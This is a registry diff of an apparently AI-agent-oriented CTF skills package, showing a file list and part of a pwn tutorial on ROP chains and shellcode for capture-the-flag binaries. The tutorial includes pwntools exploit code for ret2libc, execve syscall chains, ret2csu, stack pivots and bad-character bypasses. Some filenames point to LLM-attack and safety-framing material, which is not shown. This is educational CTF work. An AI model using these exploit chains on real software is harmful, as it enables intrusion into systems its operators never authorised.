ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,659 @@
|
|
|
1
|
+
# CTF Pwn - ROP Chains and Shellcode
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [ROP Chain Building](#rop-chain-building)
|
|
5
|
+
- [Two-Stage ret2libc (Leak + Shell)](#two-stage-ret2libc-leak--shell)
|
|
6
|
+
- [Raw Syscall ROP (When system() Fails)](#raw-syscall-rop-when-system-fails)
|
|
7
|
+
- [rdx Control in ROP Chains](#rdx-control-in-rop-chains)
|
|
8
|
+
- [Shell Interaction After execve](#shell-interaction-after-execve)
|
|
9
|
+
- [ret2csu — __libc_csu_init Gadgets (Crypto-Cat)](#ret2csu--__libc_csu_init-gadgets-crypto-cat)
|
|
10
|
+
- [Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)](#bad-character-bypass-via-xor-encoding-in-rop-crypto-cat)
|
|
11
|
+
- [Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)](#exotic-x86-gadgets--bextrxlatstosbpext-crypto-cat)
|
|
12
|
+
- [64-bit: BEXTR + XLAT + STOSB](#64-bit-bextr--xlat--stosb)
|
|
13
|
+
- [32-bit: PEXT (Parallel Bits Extract)](#32-bit-pext-parallel-bits-extract)
|
|
14
|
+
- [Stack Pivot via xchg rax,esp (Crypto-Cat)](#stack-pivot-via-xchg-raxesp-crypto-cat)
|
|
15
|
+
- [sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)](#sprintf-gadget-chaining-for-bad-character-bypass-plaidctf-2013)
|
|
16
|
+
- [DynELF Automated Libc Discovery (RC3 CTF 2016)](#dynelf-automated-libc-discovery-rc3-ctf-2016)
|
|
17
|
+
- [Constrained Shellcode in Small Buffers (TUM CTF 2016)](#constrained-shellcode-in-small-buffers-tum-ctf-2016)
|
|
18
|
+
- [Stack Canary XOR Epilogue as RDX Zeroing Gadget (VolgaCTF 2017)](#stack-canary-xor-epilogue-as-rdx-zeroing-gadget-volgactf-2017)
|
|
19
|
+
- [Minimal Shellcode with Pre-Initialized Registers (Square CTF 2017)](#minimal-shellcode-with-pre-initialized-registers-square-ctf-2017)
|
|
20
|
+
- [Unique-Byte Shellcode via syscall RIP to RCX (HITCON 2017)](#unique-byte-shellcode-via-syscall-rip-to-rcx-hitcon-2017)
|
|
21
|
+
- [stub_execveat Syscall as execve Alternative (ASIS CTF 2018)](#stub_execveat-syscall-as-execve-alternative-asis-ctf-2018)
|
|
22
|
+
- [Alphanumeric Shellcode Bootstrap via push/pop When rax=0 (nullcon HackIM 2019)](#alphanumeric-shellcode-bootstrap-via-pushpop-when-rax0-nullcon-hackim-2019)
|
|
23
|
+
|
|
24
|
+
For double stack pivot, SROP with UTF-8 constraints, RETF architecture switch, seccomp bypass, .fini_array hijack, ret2vdso, pwntools template, and shellcode with input reversal, see [rop-advanced.md](rop-advanced.md).
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## ROP Chain Building
|
|
29
|
+
|
|
30
|
+
```python
|
|
31
|
+
from pwn import *
|
|
32
|
+
|
|
33
|
+
elf = ELF('./binary')
|
|
34
|
+
libc = ELF('./libc.so.6')
|
|
35
|
+
rop = ROP(elf)
|
|
36
|
+
|
|
37
|
+
# Common gadgets
|
|
38
|
+
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
|
|
39
|
+
ret = rop.find_gadget(['ret'])[0]
|
|
40
|
+
|
|
41
|
+
# Leak libc
|
|
42
|
+
payload = flat(
|
|
43
|
+
b'A' * offset,
|
|
44
|
+
pop_rdi,
|
|
45
|
+
elf.got['puts'],
|
|
46
|
+
elf.plt['puts'],
|
|
47
|
+
elf.symbols['main']
|
|
48
|
+
)
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
### Two-Stage ret2libc (Leak + Shell)
|
|
52
|
+
|
|
53
|
+
When exploiting in two stages, choose the return target for stage 2 carefully:
|
|
54
|
+
|
|
55
|
+
```python
|
|
56
|
+
# Stage 1: Leak libc via puts@PLT, then re-enter vuln for stage 2
|
|
57
|
+
payload1 = b'A' * offset
|
|
58
|
+
payload1 += p64(pop_rdi)
|
|
59
|
+
payload1 += p64(elf.got['puts'])
|
|
60
|
+
payload1 += p64(elf.plt['puts'])
|
|
61
|
+
payload1 += p64(CALL_VULN_ADDR) # Address of 'call vuln' instruction in main
|
|
62
|
+
|
|
63
|
+
# IMPORTANT: Return target after leak
|
|
64
|
+
# - Returning to main may crash if check_status/setup corrupts stack
|
|
65
|
+
# - Returning to vuln directly may have stack issues
|
|
66
|
+
# - Best: return to the 'call vuln' instruction in main (e.g., 0x401239)
|
|
67
|
+
# This sets up a clean stack frame via the CALL instruction
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
**Leak parsing with no-newline printf:**
|
|
71
|
+
```python
|
|
72
|
+
# If printf("Laundry complete") has no trailing newline,
|
|
73
|
+
# puts() leak appears right after it on the same line:
|
|
74
|
+
# Output: "Laundry complete\x50\x5e\x2c\x7e\x56\x7f\n"
|
|
75
|
+
p.recvuntil(b'Laundry complete')
|
|
76
|
+
leaked = p.recvline().strip()
|
|
77
|
+
libc_addr = u64(leaked.ljust(8, b'\x00'))
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### Raw Syscall ROP (When system() Fails)
|
|
81
|
+
|
|
82
|
+
If calling `system()` or `execve()` via libc function entry crashes (CET/IBT, stack issues), use raw `syscall` instruction from libc gadgets:
|
|
83
|
+
|
|
84
|
+
```python
|
|
85
|
+
# Find gadgets in libc
|
|
86
|
+
libc_rop = ROP(libc)
|
|
87
|
+
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])[0]
|
|
88
|
+
pop_rdi = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
|
|
89
|
+
pop_rsi = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
|
|
90
|
+
pop_rdx_rbx = libc_rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0] # common in modern glibc
|
|
91
|
+
syscall_ret = libc_rop.find_gadget(['syscall', 'ret'])[0]
|
|
92
|
+
|
|
93
|
+
# execve("/bin/sh", NULL, NULL) = syscall 59
|
|
94
|
+
payload = b'A' * offset
|
|
95
|
+
payload += p64(libc_base + pop_rax)
|
|
96
|
+
payload += p64(59)
|
|
97
|
+
payload += p64(libc_base + pop_rdi)
|
|
98
|
+
payload += p64(libc_base + next(libc.search(b'/bin/sh')))
|
|
99
|
+
payload += p64(libc_base + pop_rsi)
|
|
100
|
+
payload += p64(0)
|
|
101
|
+
payload += p64(libc_base + pop_rdx_rbx)
|
|
102
|
+
payload += p64(0)
|
|
103
|
+
payload += p64(0) # rbx junk
|
|
104
|
+
payload += p64(libc_base + syscall_ret)
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
**When to use raw syscall vs libc functions:**
|
|
108
|
+
- `system()` through libc: simplest, but may crash due to stack alignment or CET
|
|
109
|
+
- `execve()` through libc: avoids `system()`'s subprocess overhead, same CET risk
|
|
110
|
+
- Raw `syscall`: bypasses all libc function prologues, most reliable for ROP
|
|
111
|
+
- Note: `pop rdx; ret` is rare in modern libc; look for `pop rdx; pop rbx; ret` instead
|
|
112
|
+
|
|
113
|
+
### rdx Control in ROP Chains
|
|
114
|
+
|
|
115
|
+
After calling libc functions (especially `puts`), `rdx` is often clobbered to a small value (e.g., 1). This breaks subsequent `read(fd, buf, rdx)` calls in ROP chains.
|
|
116
|
+
|
|
117
|
+
**Solutions:**
|
|
118
|
+
1. **pop rdx gadget from libc** -- `pop rdx; ret` is rare; look for `pop rdx; pop rbx; ret` (common at ~0x904a9 in glibc 2.35)
|
|
119
|
+
2. **Re-enter binary's read setup** -- Jump to code that sets `rdx` before `read`:
|
|
120
|
+
```python
|
|
121
|
+
# vuln's read setup: lea rax,[rbp-0x40]; mov edx,0x100; mov rsi,rax; mov edi,0; call read
|
|
122
|
+
# Set rbp first so rbp-0x40 points to target buffer:
|
|
123
|
+
POP_RBP_RET = 0x40113d
|
|
124
|
+
VULN_READ_SETUP = 0x4011ea # lea rax, [rbp-0x40]
|
|
125
|
+
|
|
126
|
+
payload += p64(POP_RBP_RET)
|
|
127
|
+
payload += p64(TARGET_ADDR + 0x40) # rbp-0x40 = TARGET_ADDR
|
|
128
|
+
payload += p64(VULN_READ_SETUP) # read(0, TARGET_ADDR, 0x100)
|
|
129
|
+
# WARNING: After read, code continues to printf + leave;ret
|
|
130
|
+
# leave sets rsp=rbp, so you get a stack pivot to rbp!
|
|
131
|
+
```
|
|
132
|
+
3. **Stack pivot via leave;ret** -- When re-entering vuln's read code, the `leave;ret` after read pivots the stack to `rbp`. Write your next ROP chain at `rbp+8` in the data you send via read.
|
|
133
|
+
|
|
134
|
+
### Shell Interaction After execve
|
|
135
|
+
|
|
136
|
+
After spawning a shell via ROP, the shell reads from the same stdin as the binary. Commands sent too early may be consumed by prior `read()` calls.
|
|
137
|
+
|
|
138
|
+
```python
|
|
139
|
+
p.send(payload) # Trigger execve
|
|
140
|
+
|
|
141
|
+
# Wait for shell to initialize before sending commands
|
|
142
|
+
import time
|
|
143
|
+
time.sleep(1)
|
|
144
|
+
p.sendline(b'id')
|
|
145
|
+
time.sleep(0.5)
|
|
146
|
+
result = p.recv(timeout=3)
|
|
147
|
+
|
|
148
|
+
# For flag retrieval:
|
|
149
|
+
p.sendline(b'cat /flag* flag* 2>/dev/null')
|
|
150
|
+
time.sleep(0.5)
|
|
151
|
+
flag = p.recv(timeout=3)
|
|
152
|
+
|
|
153
|
+
# DON'T pipe commands via stdin when using pwntools - they get consumed
|
|
154
|
+
# by earlier read() calls. Use explicit sendline() after delays instead.
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
## ret2csu — __libc_csu_init Gadgets (Crypto-Cat)
|
|
158
|
+
|
|
159
|
+
**When to use:** Need to control `rdx`, `rsi`, and `edi` for a function call but no direct `pop rdx` gadget exists in the binary. `__libc_csu_init` is present in nearly all dynamically linked ELF binaries and contains two useful gadget sequences.
|
|
160
|
+
|
|
161
|
+
**Gadget 1 (pop chain):** At the end of `__libc_csu_init`:
|
|
162
|
+
```asm
|
|
163
|
+
pop rbx ; 0
|
|
164
|
+
pop rbp ; 1
|
|
165
|
+
pop r12 ; function pointer (address of GOT entry)
|
|
166
|
+
pop r13 ; edi value
|
|
167
|
+
pop r14 ; rsi value
|
|
168
|
+
pop r15 ; rdx value
|
|
169
|
+
ret
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
**Gadget 2 (call + set registers):** Earlier in `__libc_csu_init`:
|
|
173
|
+
```asm
|
|
174
|
+
mov rdx, r15 ; rdx = r15
|
|
175
|
+
mov rsi, r14 ; rsi = r14
|
|
176
|
+
mov edi, r13d ; edi = r13 (32-bit!)
|
|
177
|
+
call [r12 + rbx*8] ; call function pointer
|
|
178
|
+
add rbx, 1
|
|
179
|
+
cmp rbp, rbx
|
|
180
|
+
jne .loop ; loop if rbx != rbp
|
|
181
|
+
; falls through to gadget 1 pop chain
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
**Exploit pattern:**
|
|
185
|
+
```python
|
|
186
|
+
csu_pop = elf.symbols['__libc_csu_init'] + OFFSET_TO_POP_CHAIN
|
|
187
|
+
csu_call = elf.symbols['__libc_csu_init'] + OFFSET_TO_MOV_CALL
|
|
188
|
+
|
|
189
|
+
payload = flat(
|
|
190
|
+
b'A' * offset,
|
|
191
|
+
csu_pop,
|
|
192
|
+
0, # rbx = 0 (index)
|
|
193
|
+
1, # rbp = 1 (loop count, must equal rbx+1)
|
|
194
|
+
elf.got['puts'], # r12 = function to call (GOT entry)
|
|
195
|
+
0xdeadbeef, # r13 → edi (first arg, 32-bit only!)
|
|
196
|
+
0xcafebabe, # r14 → rsi (second arg)
|
|
197
|
+
0x12345678, # r15 → rdx (third arg)
|
|
198
|
+
csu_call, # trigger mov + call
|
|
199
|
+
b'\x00' * 56, # padding for the 7 pops after call returns
|
|
200
|
+
next_gadget, # return address after csu completes
|
|
201
|
+
)
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
**Limitations:** `edi` is set via `mov edi, r13d` — only the lower 32 bits are written. For 64-bit first arguments, use a `pop rdi; ret` gadget instead. The function is called via `call [r12 + rbx*8]` — an indirect call through a pointer, so `r12` must point to a GOT entry or other memory containing the target address.
|
|
205
|
+
|
|
206
|
+
**Key insight:** ret2csu provides universal gadgets for setting up to 3 arguments (`rdi`, `rsi`, `rdx`) and calling any function via its GOT entry, without needing libc gadgets. Useful when the binary is statically small but dynamically linked.
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)
|
|
211
|
+
|
|
212
|
+
**When to use:** ROP payload must write data (e.g., `"/bin/sh"` or `"flag.txt"`) to memory, but certain bytes are forbidden (null bytes, newlines, spaces, etc.).
|
|
213
|
+
|
|
214
|
+
**Strategy:** XOR each chunk of data with a known key, write the XOR'd value to `.data` section, then XOR it back in place using gadgets from the binary.
|
|
215
|
+
|
|
216
|
+
**Required gadgets:**
|
|
217
|
+
```asm
|
|
218
|
+
pop r14; pop r15; ret ; load XOR key (r14) and target address (r15)
|
|
219
|
+
xor [r15], r14; ret ; XOR memory at r15 with r14
|
|
220
|
+
mov [r15], r14; ret ; write r14 to memory at r15 (initial write)
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
**Exploit pattern:**
|
|
224
|
+
```python
|
|
225
|
+
data_section = elf.symbols['__data_start'] # or .data address
|
|
226
|
+
xor_key = 2 # simple key that removes bad chars
|
|
227
|
+
|
|
228
|
+
def xor_bytes(data, key):
|
|
229
|
+
return bytes(b ^ key for b in data)
|
|
230
|
+
|
|
231
|
+
target = b"flag.txt"
|
|
232
|
+
encoded = xor_bytes(target, xor_key)
|
|
233
|
+
|
|
234
|
+
payload = b'A' * offset
|
|
235
|
+
|
|
236
|
+
# Write XOR'd data in 8-byte chunks
|
|
237
|
+
for i in range(0, len(encoded), 8):
|
|
238
|
+
chunk = encoded[i:i+8].ljust(8, b'\x00')
|
|
239
|
+
payload += flat(
|
|
240
|
+
pop_r14_r15,
|
|
241
|
+
chunk, # XOR'd data
|
|
242
|
+
data_section + i, # destination address
|
|
243
|
+
mov_r15_r14, # write to memory
|
|
244
|
+
)
|
|
245
|
+
|
|
246
|
+
# XOR each chunk back to recover original
|
|
247
|
+
for i in range(0, len(target), 8):
|
|
248
|
+
payload += flat(
|
|
249
|
+
pop_r14_r15,
|
|
250
|
+
p64(xor_key), # XOR key
|
|
251
|
+
data_section + i, # target address
|
|
252
|
+
xor_r15_r14, # decode in place
|
|
253
|
+
)
|
|
254
|
+
|
|
255
|
+
# Now data_section contains "flag.txt" — use it as argument
|
|
256
|
+
payload += flat(pop_rdi, data_section, elf.plt['print_file'])
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**Key insight:** XOR is self-inverse (`a ^ k ^ k = a`). Choose a key that transforms all forbidden bytes into allowed ones. For simple cases, XOR with `2` or `0x41` works. For complex restrictions, solve per-byte: for each position, find any key byte where `original ^ key` avoids all bad characters.
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)
|
|
264
|
+
|
|
265
|
+
**When to use:** Standard `mov [reg], reg` write gadgets don't exist in the binary. Look for obscure x86 instructions that can be chained for byte-by-byte memory writes.
|
|
266
|
+
|
|
267
|
+
### 64-bit: BEXTR + XLAT + STOSB
|
|
268
|
+
|
|
269
|
+
**BEXTR** (Bit Field Extract) extracts bits from a source register. **XLAT** translates a byte via table lookup (`al = [rbx + al]`). **STOSB** stores `al` to `[rdi]` and increments `rdi`.
|
|
270
|
+
|
|
271
|
+
```python
|
|
272
|
+
# Gadgets from questionableGadgets section of binary
|
|
273
|
+
xlat_ret = elf.symbols.questionableGadgets # xlat byte ptr [rbx]; ret
|
|
274
|
+
bextr_ret = elf.symbols.questionableGadgets + 2 # pop rdx; pop rcx; add rcx, 0x3ef2;
|
|
275
|
+
# bextr rbx, rcx, rdx; ret
|
|
276
|
+
stosb_ret = elf.symbols.questionableGadgets + 17 # stosb byte ptr [rdi], al; ret
|
|
277
|
+
|
|
278
|
+
data_section = elf.symbols.__data_start
|
|
279
|
+
|
|
280
|
+
# Write "flag.txt" byte by byte
|
|
281
|
+
for i, char in enumerate(b"flag.txt"):
|
|
282
|
+
# Find address of char in binary's read-only data
|
|
283
|
+
char_addr = next(elf.search(bytes([char])))
|
|
284
|
+
|
|
285
|
+
# BEXTR extracts rbx from rcx using rdx as control
|
|
286
|
+
# rcx = char_addr - 0x3ef2 (compensate for add)
|
|
287
|
+
# rdx = 0x4000 (extract 64 bits starting at bit 0)
|
|
288
|
+
payload += flat(
|
|
289
|
+
bextr_ret,
|
|
290
|
+
0x4000, # rdx (BEXTR control: start=0, len=64)
|
|
291
|
+
char_addr - 0x3ef2, # rcx (offset compensated)
|
|
292
|
+
xlat_ret, # al = byte at [rbx + al]
|
|
293
|
+
pop_rdi,
|
|
294
|
+
data_section + i,
|
|
295
|
+
stosb_ret, # [rdi] = al; rdi++
|
|
296
|
+
)
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
### 32-bit: PEXT (Parallel Bits Extract)
|
|
300
|
+
|
|
301
|
+
**PEXT** selects bits from a source using a mask and packs them contiguously. Combined with BSWAP and XCHG for byte-level writes.
|
|
302
|
+
|
|
303
|
+
```python
|
|
304
|
+
# Gadgets
|
|
305
|
+
pext_ret = elf.symbols.questionableGadgets # mov eax,ebp; mov ebx,0xb0bababa;
|
|
306
|
+
# pext edx,ebx,eax; ...ret
|
|
307
|
+
bswap_ret = elf.symbols.questionableGadgets + 21 # pop ecx; bswap ecx; ret
|
|
308
|
+
xchg_ret = elf.symbols.questionableGadgets + 18 # xchg byte ptr [ecx], dl; ret
|
|
309
|
+
|
|
310
|
+
# For each target byte, compute mask so that PEXT(0xb0bababa, mask) = target_byte
|
|
311
|
+
def find_mask(target_byte, source=0xb0bababa):
|
|
312
|
+
"""Find 32-bit mask that extracts target_byte from source via PEXT."""
|
|
313
|
+
source_bits = [(source >> i) & 1 for i in range(32)]
|
|
314
|
+
target_bits = [(target_byte >> i) & 1 for i in range(8)]
|
|
315
|
+
# Select 8 bits from source that match target bits
|
|
316
|
+
mask = 0
|
|
317
|
+
matched = 0
|
|
318
|
+
for i in range(32):
|
|
319
|
+
if matched < 8 and source_bits[i] == target_bits[matched]:
|
|
320
|
+
mask |= (1 << i)
|
|
321
|
+
matched += 1
|
|
322
|
+
return mask if matched == 8 else None
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
**Key insight:** When a binary lacks standard write gadgets, exotic instructions (BEXTR, PEXT, XLAT, STOSB, BSWAP, XCHG) can be chained for the same effect. Check `questionableGadgets` or similar labeled sections in challenge binaries.
|
|
326
|
+
|
|
327
|
+
---
|
|
328
|
+
|
|
329
|
+
## Stack Pivot via xchg rax,esp (Crypto-Cat)
|
|
330
|
+
|
|
331
|
+
**When to use:** Buffer is too small for the full ROP chain, but the program leaks a heap/stack address where a larger buffer has been prepared.
|
|
332
|
+
|
|
333
|
+
**Two-stage pattern:**
|
|
334
|
+
```python
|
|
335
|
+
# Stage 1: Program provides a heap address where it wrote user data
|
|
336
|
+
pivot_addr = int(io.recvline(), 16)
|
|
337
|
+
|
|
338
|
+
# Prepare ROP chain at the pivot address (via earlier input)
|
|
339
|
+
stage2_rop = flat(
|
|
340
|
+
pop_rdi, elf.got['puts'],
|
|
341
|
+
elf.plt['puts'], # leak libc
|
|
342
|
+
elf.symbols['main'], # return to main for stage 3
|
|
343
|
+
)
|
|
344
|
+
io.send(stage2_rop) # Written to pivot_addr by program
|
|
345
|
+
|
|
346
|
+
# Stage 2: Overflow with stack pivot
|
|
347
|
+
xchg_rax_esp = elf.symbols.usefulGadgets + 2 # xchg rax, esp; ret
|
|
348
|
+
pop_rax = elf.symbols.usefulGadgets # pop rax; ret
|
|
349
|
+
|
|
350
|
+
payload = flat(
|
|
351
|
+
b'A' * offset,
|
|
352
|
+
pop_rax,
|
|
353
|
+
pivot_addr, # load pivot address into rax
|
|
354
|
+
xchg_rax_esp, # swap rax ↔ esp → stack now points to stage2_rop
|
|
355
|
+
)
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
**Why xchg vs. leave;ret:**
|
|
359
|
+
- `leave; ret` sets `rsp = rbp` — requires controlling `rbp` (often possible via overflow)
|
|
360
|
+
- `xchg rax, esp` swaps directly — requires controlling `rax` (via `pop rax; ret`)
|
|
361
|
+
- `xchg` works even when `rbp` is not on the stack (e.g., small buffer overflow)
|
|
362
|
+
|
|
363
|
+
**Limitation:** `xchg rax, esp` truncates to 32-bit on x86-64 (sets upper 32 bits of rsp to 0). The pivot address must be in the lower 4GB of address space. Heap and mmap regions often qualify; stack addresses (0x7fff...) do not.
|
|
364
|
+
|
|
365
|
+
---
|
|
366
|
+
|
|
367
|
+
## sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)
|
|
368
|
+
|
|
369
|
+
**Pattern:** When shellcode contains bytes filtered by the input handler (null, space, slash, colon, etc.), use `sprintf()` to copy individual bytes from the executable's own memory — one byte at a time — to assemble clean shellcode on BSS.
|
|
370
|
+
|
|
371
|
+
```python
|
|
372
|
+
from pwn import *
|
|
373
|
+
|
|
374
|
+
# Step 1: Scan executable for addresses containing each needed byte
|
|
375
|
+
exe_data = open('binary', 'rb').read()
|
|
376
|
+
byte_addrs = {} # Maps byte value -> address in executable
|
|
377
|
+
for c in range(256):
|
|
378
|
+
for i in range(len(exe_data)):
|
|
379
|
+
addr = exe_base + i
